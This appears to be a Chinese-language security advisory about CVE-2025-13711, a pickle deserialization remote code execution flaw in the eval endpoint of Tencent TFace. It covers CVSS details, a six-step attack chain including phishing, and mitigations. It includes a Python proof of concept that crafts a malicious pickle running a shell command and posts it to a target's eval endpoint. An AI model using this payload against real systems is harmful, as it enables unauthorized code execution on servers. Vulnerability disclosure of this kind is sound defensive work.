IPBUF安全漏洞报告
English
CVE-2025-13711 CVSS 7.8 高危

CVE-2025-13711 | 腾讯TFace eval接口反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13711
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tencent TFace

相关标签

CVE-2025-13711反序列化漏洞远程代码执行腾讯TFaceZDI-CAN-27187高危漏洞eval接口权限提升pickle反序列化人脸识别系统

漏洞概述

CVE-2025-13711是腾讯TFace人脸识别系统中存在的一个高危安全漏洞。该漏洞位于eval端点,由于缺乏对用户提交数据的正确验证,导致攻击者可以执行不受信任数据的反序列化操作。成功利用此漏洞的攻击者可以在受影响的TFace安装实例上以root权限执行任意代码。此漏洞需要用户交互才能被利用,攻击场景要求目标用户访问恶意页面或打开恶意文件。CVSS评分7.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。漏洞编号为ZDI-CAN-27187,由ZDI(Zero Day Initiative)披露。

技术细节

该漏洞的根本原因在于TFace的eval接口缺乏对用户输入数据的有效验证。攻击者通过构造特定的序列化Payload,利用Python的pickle或其他序列化模块的不安全反序列化特性,可以触发任意代码执行。具体来说,当用户提交的数据被直接传入eval()函数或类似的反序列化处理流程时,攻击者可以注入恶意序列化对象。一旦这些对象被反序列化,将导致Python对象注入,进而执行系统命令或敏感操作。由于漏洞存在于需要用户交互的场景(如访问恶意页面或打开恶意文件),攻击者通常需要结合社会工程学技巧诱骗目标用户。成功利用后,攻击者可以获得系统root权限,完全控制目标服务器。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统中运行的腾讯TFace版本,确认eval接口存在且可访问
STEP 2
步骤2: Payload构造
攻击者构造恶意序列化对象,利用Python pickle的不安全反序列化特性,通过__reduce__方法指定要执行的系统命令
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或诱饵文件等方式,诱导目标用户访问包含恶意Payload的页面或打开恶意文件
STEP 4
步骤4: 漏洞触发
目标用户访问恶意页面后,浏览器或应用程序向TFace eval端点发送包含恶意序列化数据的请求
STEP 5
步骤5: 反序列化执行
TFace服务器接收到请求后,对用户提交的数据进行反序列化处理,触发恶意对象中的__reduce__方法,执行攻击者指定的系统命令
STEP 6
步骤6: 权限提升
成功执行命令后,攻击者获得服务器root权限,可执行任意操作包括数据窃取、横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import base64 import os # 恶意反序列化Payload - 执行任意命令 class RCE: def __reduce__(self): cmd = 'id > /tmp/pwned.txt' return (os.system, (cmd,)) # 生成Payload payload = pickle.dumps(RCE()) payload_b64 = base64.b64encode(payload).decode() print(f"[*] CVE-2025-13711 PoC for Tencent TFace") print(f"[*] Generated malicious payload (base64):\n{payload_b64}") # 构造HTTP请求 import requests target_url = "http://target:8000/eval" # 目标TFace eval端点 headers = { 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'data': payload_b64 # 注入恶意序列化数据 } print(f"[*] Sending payload to {target_url}") try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") print("[*] Check /tmp/pwned.txt on target for proof of execution")

影响范围

Tencent TFace (版本未明确指定,eval接口受影响)
参考修复commit: 7b2eed297d43dcdd1e3d45bfdfc950478e3af5d9

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1) 暂时禁用或限制eval接口的访问;2) 对所有用户输入实施严格的输入验证和过滤;3) 使用网络层访问控制限制对TFace管理接口的访问;4) 监控异常的反序列化行为和eval接口调用日志;5) 对员工进行安全意识培训,警惕钓鱼攻击和社会工程学攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表